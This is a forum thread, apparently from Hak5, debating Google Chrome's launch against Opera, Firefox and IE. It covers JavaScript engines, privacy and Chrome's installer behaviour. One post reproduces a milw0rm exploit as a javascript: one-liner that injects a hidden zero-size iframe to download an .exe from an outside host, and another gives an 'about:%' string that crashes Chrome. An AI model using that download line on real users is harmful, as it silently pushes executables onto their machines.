Google Chrome

[digip]

(Disclaimer: Opera Fanboy rant)

Sorry, but Opera is the only browser I trust to get the job done. Highly customizable, even if it isn't opensource like Mozilla or Google, it's the most stable, fastest, and easiest to learn browser I have ever used, and I find new features and things it can do all the time, that are usually built to Opera, where browsers like Firefox has to use addons, or IE just doesn't offer. I think in a few years, Opera will be taking over as the next big browser in all the markets.

And who want's google owning all my data anyway? I know they are changing the EULA now because of the problems they had initially saying they have exclusve right to everything you submit in the browser, but all they are changing is the copyright agreement part, stating they do not own copyrights to the content in the browser or what you submit. They are still storing everything you do in the browser and I'll be damned if that isn't just against what a modern browser should stand for. Privacy and protection of your pc and contents of what and where you surf are #1 on my list of features. Protection from malware and spyware and exploits are #2 on that list.

The only thing Opera lacks is a vm/sandbox environment for scripting and plugin content, so I use Sandboxie+Opera to work around that since Sandboxie is free and works great with Opera. Opera is the only browser I trust and want to use at the moment, and I am glad I switched to it. It's one program I can say that I can not live without. I keep a copy that runs off USB to take with me when I know I am going to be online but not with my PC or Laptop. I like having built in IRC and Bit Torrent when on the road(although I use uTorrent exclusivly) as well as the ability to turn on scripting, plugins, and java on a per website basis. IE does it globally, and FF just uses noscript addon(plus adblocker addons, addon, etc, etc).

If I am using linux and can't get Opera installed on the distro I am trying, I won't even consider using it for personal use. (Work is work, so whatever I have to use there, then whatever...)

I have used FF and IE for a while, and honestly, I still like IE6 over FF. But for every good feature they put in IE7 and 8, they became ugly, bloated and so not ergonomic compared to the speed and customizable toolbar layout of IE6.

One thing I can say about the google browser, is it at least maximizes the browsing area a bit more than some others do(by default), but I can change that to my liking in Opera, so it's not a selling point for me to switch to Google's Chrome.

Opera just works.

[Darren Kitchen]

/me awards digip 5 technobux for intelligent rebuttal.

Seriously though I'm really happy Opera has been working out for you. I've tried it off and on several times (going back to when it used to have an ad at the top of the free version) and I think it's quite a nice piece of software.

As far as privacy is concerned, once again this comes down to who you are online.

Me? Well I don't have it so easy anymore. At least when I was in the phreak scene I was smart enough to keep my real name, phone number and address private. Now I'm on the flippin iPod</sarcasm>

/me goes to register a dozen fake google accounts.

[Tenzer]

I just hope Mozilla can swallow their pride and adopt some of this code, the javascript VM and multi-process architecture in particular.

I don't think that Mozilla will use the V8 engine in Firefox. They have been working on a new JS engine for Firefox during the last two months called "TraceMonkey", which in benchmarks show performance very closely to what V8 has achieved during the last two years.

The benchmarks V8 have used to display the performance difference are heavily recursive, which the V8 takes deeply advantage of, and TraceMonkey don't have a feature to detect such recursions, which makes it magnitudes slower than V8 on that point. However, in more real life benchmarks the performance is almost the same.

[Darren Kitchen]

@Tenzer, thats great that there are multiple approaches to the javascript engine problem. And yes I'll go ahead and call it a problem because as the web becomes more application driven, and sadly JS is the only dynamic language for the browser, we'll need all the juice we can get.

So if Mozilla keeps with TraceMonkey and Google keeps with V8, who knows maybe Opera can swoop in and grab some freely available code to build an even better engine with the powers of TM and V8.

I just gotta say though, machine code compiled javascript just sounds sexy.

[Tenzer]

digip, you make it sound like it's a bad thing that Firefox uses addons for many of the extra features besides normal browsing. Why do you think that it's bad?

I like that fact that Firefox is so modular as it is, and that I can basically get just the feature I want by installing an addon.

One of the benefits of addons are that the developers of the addons can focus entirely on the features they are trying to incorporate, instead of also having to think about how javascript or flash works in the browser.

For instance, why should a browser developer at Opera also spend time on implementing a bittorrent client and a mailclient into the browser? I doesn't make much sense to me, but I guess that's where different opinions come into place :)

[SomeoneE1se]

http://www.milw0rm.com/exploits/6355

that is all... I wonder who else has found a RCE exploit

[digip]

digip, you make it sound like it's a bad thing that Firefox uses addons for many of the extra features besides normal browsing. Why do you think that it's bad?

I like that fact that Firefox is so modular as it is, and that I can basically get just the feature I want by installing an addon.

One of the benefits of addons are that the developers of the addons can focus entirely on the features they are trying to incorporate, instead of also having to think about how javascript or flash works in the browser.

For instance, why should a browser developer at Opera also spend time on implementing a bittorrent client and a mailclient into the browser? I doesn't make much sense to me, but I guess that's where different opinions come into place :)

I'm one for having fatures out fo the box,and not adding 3rd party extentions to my browser. Other than Flash, I detest having addons, like Java, or Silverlight, which can cause problems on their own since they really werent coded as part of the browser. I look at it like this. When I go to a car dealer, it comes with power door locks, tilt, cruise, and air conditioning. But a base model that doesn't come with them can have one of two things. An upgrade to a mdel by the manufaturer(who makes them specifically for the car at the factory) or I can get an aftermarket product and hope the person installing it doesn't bork my car. If I want a moonroof, I want the one from Ford with my car, not the one from Sal's roof'orama down the street.

I also tend not to trust 3rd party apps as much, since flaws might put you at risk, and compromise the browser with an unknown bug. Not that any software can't have bugs, but the more in house code built in, the more chances that you will run in to less problems down the road. I can't recall how many times I have read a thread about how FF borked something because an addon screwed up their settings and they had to enable a new profile or something to get it to stop crashing.

[SomeoneE1se]

all the cool add-ons to cars are after market

[Darren Kitchen]

http://www.milw0rm.com/exploits/6355

that is all... I wonder who else has found a RCE exploit

Oh come on all the freshmen get RCEs their first day, it's part of the whole aclimation process. Look at Safari for Windows for example.

It'll get fixed. It's 0.2something beta.

[digip]

The milworm sploit works on most browsers, only most browsers alert you of the attempted download and should prompt you asking what it should do with the file.

Just to test it, I put it in my browser address bar and it prompted me about the file, but it didn't download it automatically.

Copy and paste into the address bar to see what your browser does(Take the space out of java script first, as the foems mangle it for security purposes!):

 java script:document.write('<iframe src="http://www.twistedpairrecords.com/digip/daemon347.exe" frameborder="0" width="0" height="0">');

(ad free daemon tools 3.47)

Even if google downloads the program, the script doesn't cause it to run. Although, some dumb f*cker out there is bound to click on it without knowing what it is. I don't feel sorry for anyone who opens unknown programs on their pc without knowledge of where it came from.

[digip]

all the cool add-ons to cars are after market

Owner modding aside of course. What you add/change on your own is not what I am talking about.

I worked in the car industry for 5 years, and the only aftermarket product I would ever pay for would be an alarm. The rest(except for cosmetic stuff, like ground effects, paint and decals, etc) can be done either at the factory or in house for less than what they charge you from a 3rd party shop and it will be coveredunder yoru warranty. Aftermarket stuff is usually not covered by your warranty. Get something made, and being done from the factory means it was designed to work with your vehicle and if it breaks, you get it fixed for free, so long as you are still under the factory warranty.

[explodingspaceships]

The really nice feature I think is that each individual tab in Chrome runs as its own separate PID. Maybe I'm out of touch and FF does this too now but AFAIK it's quite innovative. In theory, a nasty page wouldn't crash your whole browse, simply it's tab. Who knows.

in the old days, that was called forking a process, apache used to run that way. threading was invented with the intent of being more efficient and using less resources. this is really nothing new at all.

so, V8 does the JS VM, Webkit does the render engine and google takes all the credit for not adding a menubar and reintroducing fork();

when you consider that the really hard work was done by others (webkit is mostly apple engineers, and no osx version?) and the vastness of googles resources in both manpower and cash, then this duct taping of other people's work under their brand is not really as impressive as the firefox or ie efforts.

[Darren Kitchen]

Welcome to the forums explodingspaceships and wow, great points there.

Still they should get some credit for the V8 JS VM.

Computing over the last couple decades:

10 Do it even faster in serial <-- Hard drives are here at the moment

20 Do it even faster in parallel <-- CPUs are here at the moment

30 GOTO 10

[wetelectric]

The firefox V8 js engine is supposed to faster at the moment...: http://arstechnica.com/journals/linux.ars/...than-chromes-v8

meh, it's good times in the browser market

[Tenzer]

in the old days, that was called forking a process, apache used to run that way. threading was invented with the intent of being more efficient and using less resources. this is really nothing new at all.

It is new in browser context.

so, V8 does the JS VM, Webkit does the render engine and google takes all the credit for not adding a menubar and reintroducing fork();

V8 was developed in at a Google office in Århus, Denmark, so of course they should take the credit for it. I'm unsure if they hired other people to make it for them, or if it was Google employers who did it.

when you consider that the really hard work was done by others (webkit is mostly apple engineers, and no osx version?) and the vastness of googles resources in both manpower and cash, then this duct taping of other people's work under their brand is not really as impressive as the firefox or ie efforts.

A Linux and Mac version is in the making, and I don't have anything against Google for not having them available now, after all the entire "launch" was very rushed, and it wasn't planned to be out when it came it, from what I read out of this post:

As you may have read in the blogosphere, we hit "send" a bit early on a comic book introducing our new open source browser, Google Chrome.

That means that they decided to release the Windows versions of Chrome as they were sort of ready, when the news came out, instead of leaving us waiting in days, weeks, months or whatever for the first hands on the browser.

[walcy]

Well,

IF you google foo, er subscribe to podcasts, there have been alot of coverage on the new broswer etc, the EULA has changed.. i gotta get my apple tv back up in working, arraghg.g..g.g.......

there are lots of videos etc out about some of it, i found one on cnet recently talking lil bit about its privacy pitfalls,

http://news.cnet.com/1606-2_3-50003579.htm...s&subj=news

in case anyone is interested. :P

[wetelectric]

In the url bar once you have closed and saved anything important on you computer, type: "about:%" its really cool almost as cool as this.

edit:..ok an angel appeared on my right shoulder and told me to say that this crashes google chrome.

[jollyrancher82]

I find it funny how everyone is like "omg explioits", sorry how many exploits has Firefox, Opera, and Internet Explorer had? Chrome does in fact render web pages faster than Firefox.

when you consider that the really hard work was done by others (webkit is mostly apple engineers, and no osx version?) and the vastness of googles resources in both manpower and cash, then this duct taping of other people's work under their brand is not really as impressive as the firefox or ie efforts.

They're not going to write a whole new renderer when one already freely exists. What is that problem with them implementing that renderer into their application? Windows is the most used desktop OS, it's obvious the Windows version will be released first. Porting a C++ application to Linux/OSX from Windows isn't as simple as recompiling for that OS.

[wetelectric]

I find it funny how everyone is like "omg explioits", sorry how many exploits has Firefox, Opera, and Internet Explorer had? Chrome does in fact render web pages faster than Firefox.

snippage

who said this?

[Darren Kitchen]

I've decided to give it a shot. I'll use it for a week or so and see if its to my liking. Already I'm noticing little things that seem a bit more intuitive than FF, like the way it handles ctrl+F, or downloads. On the other hand there are little things I'm missing like the FF shortcut "/"

Regardless, I'm giving it an honest go just as I did with Opera last year.

[digip]

FF has been marketed so much as the "anti" internet explorer and as being so much more secure, that I think a lot of people started using it out of fear of viruses and spyware(aside from tech savy people who understand the power of open source software and being able to customize their programs).

Google has such a wide user base, it's natural to think people will be using it's browser a lot in the future. I can see it taking off, but I personally don't like either FF or Chrome. I tried Chrome, but it really just seems like a stripped down browser with no real features yet. For search, I'll just go to my homepage(which is set to google anyway).

I'd say feature wise, Opera and FF can do pretty much the same things, and there are plenty of add on's for Opera just like FF(even though a lot of things are already built in), but I for security, speed, stability, privacy, and customization, I'll stick with Opera for the moment.

And as far as exploits, I see fewer with Opera over the years it has been around, as compared to the other browsers out there that have been around <= to Opera. I realize it has a smaller user base as well, so people are making less exploits targeting it sepcifically, but that is also another reason I use it, as not many people are attacking it the way they do IE and FF.

edit: Here is something interesting. Run the install program, but cancel it once it opens up and exit it completely. You now will have a new reg entry for startup of google update, and an active-x/dll addon in your Internet Explorer browser called GoopdateBho.dll and files for Google Update in "Local Settings\Application Data\Google"

So, if I cancel the install process as soon as it starts, it should not be able to make these changes without my consent? It automatically goes online to try and download the Chome installer (the intial program you download from Google is not the Chrome installer, but a Google Update file that goes out and gets the Chrome Installer). I have been able to get the Chrome installer seperate from the Google update using Wireshark, but once installed it adds Google Update anyway, and then downloads a bunch of "safe browsing" site list files. 8 meg of them.

The install part sounds a bit shady to me, as it should come up with some other process before it just goes and starts doing things to our system (like an EULA or something with a "click ok to install" for consent or something or to cancel.) Instead of just doing whatever the hell it wants as soon as it opens it should not make any changes and give you the option to back out in the event that you change your mind. Most installers only create temp files and prompt you for the permission to install and give you the option to cancel it if you want to and they usually clean up after themselves, making no changes to any other part of your system.

[jollyrancher82]

Google has such a wide user base, it's natural to think people will be using it's browser a lot in the future. I can see it taking off, but I personally don't like either FF or Chrome. I tried Chrome, but it really just seems like a stripped down browser with no real features yet. For search, I'll just go to my homepage(which is set to google anyway).

No real features? It does what a web browser is suppose to do, browse the web. Too many people have become used to all the extras in Firefox they think all web browsers should be packaged with them. Sometimes people just want a web browser, not something that cooks, cleans, and gives you a... nevermind.

Everyone is so quick to find flaws with new applications released it's unbelievable. I currently use Chrome as my main browser, and I've never missed any addons I had installed in Firefox. I prefer minimalist applications, and Chrome's user interface pulls it off.

The install part sounds a bit shady to me, as it should come up with some other process before it just goes and starts doing things to our system (like an EULA or something with a "click ok to install" for consent or something or to cancel.) Instead of just doing whatever the hell it wants as soon as it opens it should not make any changes and give you the option to back out in the event that you change your mind. Most installers only create temp files and prompt you for the permission to install and give you the option to cancel it if you want to and they usually clean up after themselves, making no changes to any other part of your system.

When you click download it goes to this page http://www.google.com/chrome/eula.html. So yes you do have the opportunity to cancel the download and read the EULA. It's web based installation, doesn't rely on user interaction making it simpler for non-techy people to use. Don't link the installer? Download the source and compile it yourself, it is open source after all.

[Swathe]

I have a real fear this could realy cruel firefox whose constant efforts I have come to admire. I tried Chrome and it does most things I want it to do but for the moment I will stay loyal to Firefox.

[jollyrancher82]

I have a real fear this could realy cruel firefox whose constant efforts I have come to admire. I tried Chrome and it does most things I want it to do but for the moment I will stay loyal to Firefox.

I use the best tool for the job, if Chrome is better than Firefox in my opinion, I'll use it over Firefox. At the end of the day it's just a web browser, and I don't give two hoots about the philosophy behind it.

[Pizza]

we need "hak5 browser" lol